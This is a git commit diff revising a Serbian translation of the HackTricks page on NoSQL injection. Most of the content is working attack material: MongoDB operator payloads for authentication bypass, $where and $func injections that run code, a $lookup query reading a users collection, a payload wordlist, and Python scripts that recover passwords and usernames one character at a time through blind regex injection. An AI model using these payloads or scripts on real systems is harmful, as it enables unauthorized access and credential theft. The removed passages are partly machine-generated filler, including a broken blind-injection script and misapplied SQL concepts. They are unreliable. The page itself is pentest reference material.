Translated ['pentesting-web/nosql-injection.md'] to rs

This commit is contained in:
Translator 2024-03-03 09:50:29 +00:00
parent 95f8e4da17
commit 6a7ab29e1a

View file

@ -3,8 +3,8 @@
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** podržane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
Dobijte pristup danas: Pristupite danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -14,20 +14,20 @@ Dobijte pristup danas:
Drugi načini podrške HackTricks-u: Drugi načini podrške HackTricks-u:
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
## Iskorišćavanje ## Eksploatacija
U PHP-u možete poslati niz tako što ćete promeniti poslati parametar sa _parameter=foo_ na _parameter\[arrName]=foo._ U PHP-u možete poslati niz tako što ćete promeniti poslati parametar sa _parameter=foo_ na _parameter\[arrName]=foo._
Iskorišćavanje se zasniva na dodavanju **Operatora**: Eksploatacije se zasnivaju na dodavanju **Operatora**:
```bash ```bash
username[$ne]=1$password[$ne]=1 #<Not Equals> username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@ -38,9 +38,9 @@ username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin) username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code { $where: "this.credits == this.debits" }#<IF>, can be used to execute code
``` ```
### Bypass osnovne autentifikacije ### Osnovna obilaznica autentikacije
**Korišćenje operatora "nije jednako" ($ne) ili "veće" ($gt)** **Korišćenje operatora "nije jednako" ($ne) ili "veće od" ($gt)**
```bash ```bash
#in URL #in URL
username[$ne]=toto&password[$ne]=toto username[$ne]=toto&password[$ne]=toto
@ -52,78 +52,22 @@ username[$exists]=true&password[$exists]=true
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} } {"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} } {"username": {"$gt": undefined}, "password": {"$gt": undefined} }
``` ```
### **SQL - Mongo** ### **NoSQL - Mongo**
---
#### **NoSQL Injection**
NoSQL injection is a type of vulnerability that occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions on a NoSQL database.
#### **NoSQL Injection in MongoDB**
MongoDB is a popular NoSQL database that uses a query language called MongoDB Query Language (MQL). Similar to SQL injection in traditional SQL databases, NoSQL injection in MongoDB occurs when user input is not properly sanitized and is directly used in a query.
#### **NoSQL Injection Techniques**
1. **Boolean-based Injection**: This technique involves injecting a boolean expression into the query in order to manipulate its behavior. By carefully crafting the injected expression, an attacker can bypass authentication or retrieve sensitive information.
2. **Time-based Injection**: In this technique, the attacker injects a delay into the query in order to determine if the injected payload is being executed. By measuring the time it takes for the query to respond, an attacker can infer information about the database.
3. **Error-based Injection**: Error-based injection involves injecting malicious input into the query in order to trigger an error message. The error message can then be used by the attacker to gather information about the database structure or retrieve sensitive data.
4. **Union-based Injection**: Union-based injection involves injecting a UNION operator into the query in order to combine the results of two or more queries. This technique can be used to retrieve data from different collections or tables within the database.
#### **Preventing NoSQL Injection**
To prevent NoSQL injection in MongoDB, it is important to properly sanitize user input and validate it before using it in a query. This can be done by using parameterized queries or prepared statements, which ensure that user input is treated as data and not as part of the query itself.
Additionally, it is recommended to implement proper access controls and authentication mechanisms to limit the impact of a potential NoSQL injection attack. Regularly updating and patching the MongoDB server and using the latest version of the MongoDB driver can also help mitigate the risk of NoSQL injection vulnerabilities.
```javascript ```javascript
query = { $where: `this.username == '${username}'` } query = { $where: `this.username == '${username}'` }
``` ```
Napadač može iskoristiti ovo unošenjem nizova poput `admin' || 'a'=='a`, čime će upit vratiti sve dokumente zadovoljavajući uslov tautologijom (`'a'=='a'`). Ovo je analogno SQL injection napadima gde se koriste unosi poput `' or 1=1-- -` za manipulaciju SQL upita. U MongoDB-u, slične injekcije se mogu izvršiti korišćenjem unosa poput `' || 1==1//`, `' || 1==1%00`, ili `admin' || 'a'=='a`. Napadač može iskoristiti ovo unošenjem stringova poput `admin' || 'a'=='a`, čime će upit vratiti sve dokumente zadovoljavajući uslov tautologijom (`'a'=='a'`). Ovo je analogno SQL injection napadima gde se koriste unosi poput `' or 1=1-- -` za manipulaciju SQL upita. U MongoDB-u, slične injekcije mogu se izvršiti korišćenjem unosa poput `' || 1==1//`, `' || 1==1%00`, ili `admin' || 'a'=='a`.
``` ```
Normal sql: ' or 1=1-- - Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
``` ```
### Izdvajanje informacija o **dužini** ### Izdvajanje informacija o **dužini**
Kada se bavite injekcijom NoSQL baze podataka, možete izvući informacije o dužini podataka. Ovo je korisno kada želite da saznate koliko karaktera sadrži određeni podatak.
Da biste izvukli informacije o dužini, možete koristiti sledeći pristup:
```plaintext
$ne: {"$where": "Object.getOwnPropertyNames(this).length == X"}
```
Gde je `X` broj koji predstavlja željenu dužinu podataka. Na primer, ako želite da saznate dužinu imena korisnika, možete koristiti:
```plaintext
$ne: {"$where": "Object.getOwnPropertyNames(this).length == 5"}
```
Ovaj upit će vratiti samo one dokumente čija je dužina imena korisnika 5 karaktera.
Obratite pažnju da je ovo samo jedan od načina da izvučete informacije o dužini podataka prilikom injekcije NoSQL baze podataka.
```bash ```bash
username[$ne]=toto&password[$regex]=.{1} username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3} username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3... # True if the length equals 1,3...
``` ```
### Izdvajanje informacija o **podacima** ### Izdvajanje informacija **o podacima**
NoSQL ubrizgavanje je tehnika koja se koristi za iskorišćavanje ranjivosti NoSQL baza podataka kako bi se izvukle informacije iz baze podataka. Ova tehnika se koristi kada aplikacija koristi NoSQL bazu podataka i ne sprovodi adekvatnu validaciju korisničkog unosa.
Da biste izvukli informacije iz baze podataka, prvo morate identifikovati ranjive tačke ubrizgavanja. Ovo može biti bilo koji parametar koji se koristi za izvršavanje upita na bazi podataka, kao što su korisničko ime, lozinka ili ID. Kada identifikujete ranjive tačke ubrizgavanja, možete koristiti različite tehnike za izvlačenje podataka.
Jedna od najčešćih tehnika je **boolean-based** tehnika. Ova tehnika se koristi za izvlačenje informacija na osnovu tačnosti uslova. Na primer, možete postaviti uslov koji će biti tačan samo ako je određeni podatak prisutan u bazi podataka. Ako je uslov tačan, to znači da je podatak prisutan, a ako nije, to znači da podatak nije prisutan.
Druga tehnika je **time-based** tehnika. Ova tehnika se koristi za izvlačenje informacija na osnovu vremena potrebnog za izvršavanje upita. Na primer, možete postaviti upit koji će biti spor samo ako je određeni podatak prisutan u bazi podataka. Ako je upit spor, to znači da je podatak prisutan, a ako je brz, to znači da podatak nije prisutan.
Takođe možete koristiti **union-based** tehnike za izvlačenje informacija. Ove tehnike se koriste za kombinovanje rezultata više upita kako bi se izvukle informacije. Na primer, možete kombinovati rezultate upita koji vraćaju podatke sa drugim upitima koji vraćaju lažne podatke. Na taj način možete izvući stvarne podatke iz baze podataka.
Kada koristite NoSQL ubrizgavanje za izvlačenje informacija, važno je biti oprezan i pažljivo konstruisati upite kako biste izbegli otkrivanje napada. Takođe je važno imati dozvolu za testiranje ranjivosti pre nego što izvršite bilo kakve akcije.
``` ```
in URL (if length == 3) in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2} username[$ne]=toto&password[$regex]=a.{2}
@ -142,38 +86,6 @@ in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
``` ```
### **SQL - Mongo** ### **SQL - Mongo**
---
#### **NoSQL Injection**
NoSQL injection is a type of vulnerability that occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions on a NoSQL database.
#### **NoSQL Injection in MongoDB**
MongoDB is a popular NoSQL database that uses a query language called MongoDB Query Language (MQL). Similar to SQL injection in relational databases, NoSQL injection in MongoDB occurs when user input is not properly sanitized and is directly used in a query.
#### **Basic NoSQL Injection Payloads**
Here are some basic payloads that can be used to test for NoSQL injection in MongoDB:
- **$ne**: The `$ne` operator is used to check for inequality. By injecting `$ne` into a query, an attacker can bypass authentication checks that compare values for equality.
- **$gt**: The `$gt` operator is used to check for values greater than a specified value. By injecting `$gt`, an attacker can retrieve data that they are not authorized to access.
- **$regex**: The `$regex` operator is used to perform regular expression matching. By injecting a malicious regular expression, an attacker can manipulate the query to retrieve unauthorized data.
#### **Exploiting NoSQL Injection**
To exploit a NoSQL injection vulnerability in MongoDB, an attacker needs to identify a vulnerable parameter and inject a payload that alters the behavior of the query. This can be done by manipulating the input in a way that the query logic is modified or by injecting operators like `$ne`, `$gt`, or `$regex`.
#### **Preventing NoSQL Injection**
To prevent NoSQL injection in MongoDB, it is important to properly sanitize user input and validate it before using it in a query. This can be done by using parameterized queries or by implementing input validation and sanitization techniques.
---
*Note: This translation is provided for educational purposes only. The techniques described should not be used for any illegal activities.*
``` ```
/?search=admin' && this.password%00 --> Check if the field password exists /?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password /?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
@ -187,7 +99,7 @@ To prevent NoSQL injection in MongoDB, it is important to properly sanitize user
``` ```
### PHP Proizvoljno Izvršavanje Funkcija ### PHP Proizvoljno Izvršavanje Funkcija
Korišćenjem operatora **$func** biblioteke [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (koja se koristi po defaultu), moguće je izvršiti proizvoljnu funkciju kao što je opisano u [ovom izveštaju](https://swarm.ptsecurity.com/rce-cockpit-cms/). Korišćenjem operatora **$func** biblioteke [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (koja se koristi podrazumevano) moguće je izvršiti proizvoljnu funkciju kao u [ovom izveštaju](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python ```python
"user":{"$func": "var_dump"} "user":{"$func": "var_dump"}
``` ```
@ -195,7 +107,9 @@ Korišćenjem operatora **$func** biblioteke [MongoLite](https://github.com/agen
### Dobijanje informacija iz različitih kolekcija ### Dobijanje informacija iz različitih kolekcija
Moguće je koristiti [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) da se dobiju informacije iz različitih kolekcija. U sledećem primeru, čitamo iz **različite kolekcije** koja se zove **`users`** i dobijamo **rezultate svih unosa** koji se podudaraju sa šablonom lozinke. Moguće je koristiti [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) da biste dobili informacije iz različite kolekcije. U sledećem primeru, čitamo iz **različite kolekcije** nazvane **`users`** i dobijamo **rezultate svih unosa** sa lozinkom koja odgovara šablonu.
**NAPOMENA:** `$lookup` i ostale funkcije agregacije su dostupne samo ako je funkcija `aggregate()` korišćena za izvršavanje pretrage umesto uobičajenih funkcija `find()` ili `findOne()`.
```json ```json
[ [
{ {
@ -218,11 +132,11 @@ Moguće je koristiti [**$lookup**](https://www.mongodb.com/docs/manual/reference
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
Dobijte pristup danas: Pristupite danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## MongoDB Payloadi ## MongoDB Payloads
Lista [odavde](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) Lista [odavde](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
``` ```
@ -254,72 +168,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
{"username": {"$gt":""}, "password": {"$gt":""}} {"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}} {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
``` ```
## Slepi NoSQL skript ## Slepa NoSQL skripta
Ovaj skript je dizajniran za izvršavanje slepih NoSQL injekcija. Slepe NoSQL injekcije su vrsta napada koja se koristi za otkrivanje podataka iz baze podataka koja koristi NoSQL tehnologiju, poput MongoDB ili CouchDB. Ovaj skript koristi tehniku postavljanja uslova kako bi otkrio podatke korak po korak.
### Upotreba
1. Prilagodite sledeće promenljive prema potrebama:
- `url`: URL ciljanog veb sajta
- `parametar`: Parametar koji se koristi za izvršavanje NoSQL upita
- `baza_podataka`: Ime ciljane baze podataka
- `kolekcija`: Ime ciljane kolekcije u bazi podataka
- `uslov`: Uslov koji se koristi za filtriranje podataka
2. Pokrenite skript i pratite izlaz kako biste videli rezultate.
### Skript
```python
import requests
url = "http://target-website.com"
parameter = "username"
database = "mydatabase"
collection = "users"
condition = {"$regex": "^a"}
def make_request(payload):
response = requests.get(url, params={parameter: payload})
return response
def check_condition(payload):
response = make_request(payload)
if condition in response.text:
return True
else:
return False
def blind_nosql_injection():
result = ""
while True:
for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
payload = f"admin' AND {{" + f"{parameter}: {{" + f"$regex: '^{result}{char}'" + "}}}}"
if check_condition(payload):
result += char
break
else:
break
return result
if __name__ == "__main__":
data = blind_nosql_injection()
print(data)
```
### Objasnjenje
Ovaj skript koristi slepu NoSQL injekciju kako bi otkrio podatke iz ciljane baze podataka. Slepa NoSQL injekcija se koristi kada ciljana aplikacija ne prikazuje direktno greške ili rezultate upita, što otežava otkrivanje podataka. Skript koristi tehniku postavljanja uslova kako bi otkrio podatke korak po korak.
Skript prvo definiše promenljive koje se koriste za konfiguraciju napada, kao što su URL ciljanog veb sajta, parametar koji se koristi za izvršavanje NoSQL upita, ime ciljane baze podataka, ime ciljane kolekcije i uslov koji se koristi za filtriranje podataka.
Zatim, skript definiše funkciju `make_request` koja šalje HTTP zahtev sa zadatim payloadom. Funkcija `check_condition` proverava da li uslov postoji u odgovoru na zahtev.
Glavna funkcija `blind_nosql_injection` koristi petlju kako bi iterirala kroz sve moguće karaktere i konstruisala payload za svaki karakter. Zatim se proverava da li uslov postoji u odgovoru za svaki payload. Ako uslov postoji, karakter se dodaje rezultatu. Petlja se nastavlja sve dok se ne otkriju svi karakteri.
Na kraju, skript poziva funkciju `blind_nosql_injection` i prikazuje rezultat.
```python ```python
import requests, string import requests, string
@ -357,7 +206,7 @@ password += c
``` ```
### Brute-force login usernames and passwords from POST login ### Brute-force login usernames and passwords from POST login
Ovo je jednostavan skript koji možete izmeniti, ali prethodni alati takođe mogu obaviti ovaj zadatak. Ovo je jednostavan skript koji možete modifikovati, ali prethodni alati takođe mogu obaviti ovaj zadatak.
```python ```python
import requests import requests
import string import string
@ -415,7 +264,7 @@ get_password(u)
Drugi načini podrške HackTricks-u: Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -426,7 +275,7 @@ Drugi načini podrške HackTricks-u:
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
Dobijte pristup danas: Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}